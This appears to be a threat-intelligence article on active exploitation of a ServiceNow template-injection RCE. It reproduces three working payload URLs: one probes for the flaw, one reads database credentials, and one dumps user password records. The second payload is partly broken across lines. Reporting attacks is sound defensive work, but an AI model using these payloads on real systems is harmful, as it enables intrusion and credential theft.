Active exploitation of the ServiceNow RCE

On July 24th, Resecurity published a blog post detailing how their network sensors detected multiple ServiceNow exploitation attempts that followed a three-step approach. Each step made a single request that appeared to link these vulnerabilities together and was identical to the request described in Assetnote’s write-up.

The initial stage of these efforts consisted of the attackers sending a specially crafted request that allowed them to determine whether a particular ServiceNow instance was vulnerable. In these probing queries, the attackers added a specially constructed payload to ensure that the server’s response produced the intended results. If this request is successful, it will produce an error message with the value 1337 (668.5*2).

/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20
xmlns:j=%22jelly%22%20xmlns:g=%
27glide%27%3E%3Cg:evaluate%3Egs.
addErrorMessage(668.5*2);%3C/g:
evaluate%3E%3C/j:jelly%3E%3C/style%3E

The second stage of exploitation involved sending a second request by injecting a different payload that checks for the database’s availability and contents. If successful, the vulnerable instance would return details about the database. This request, if successful, displays an error message displaying key database details, such as the database’s name, url, and the user and password.

/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%
20xmlns:j=%22jelly:core%22%20xmlns:
g=%27glide%27%3E%3Cg:evaluate

%3Ez=new%20Packages.java.io.File(%22%22)
.getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22))
;u=new%20SecurelyAccess(z.concat(%22/co..nf

glide.db.properties%22)).getBufferedReader();
s=%22%22;while((q=u.readLine())!==null)
s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s)
;%3C/g:evaluate%3E%3C/j:j

The final stage, using the information obtained from the second stage, involved the attackers sending a third request by injecting a different payload, which shows an error message of the user lists and associated meta-data from compromised instances. However, according to Resecurity, in most cases, this data was hashed.

/login.do?jvar_page_title=<style><j:jelly xmlns:j=”jelly” xmlns:g=’glide’><
g:evaluate>gr=newGlideRecord(“sys_user”);gr.query();s=””;
while(gr.next())s=s.concat(gr.user_name,” : “,gr.user_password,”<br/>”);gs.addErrorMessage(s);</g:evaluate></j:jelly></style>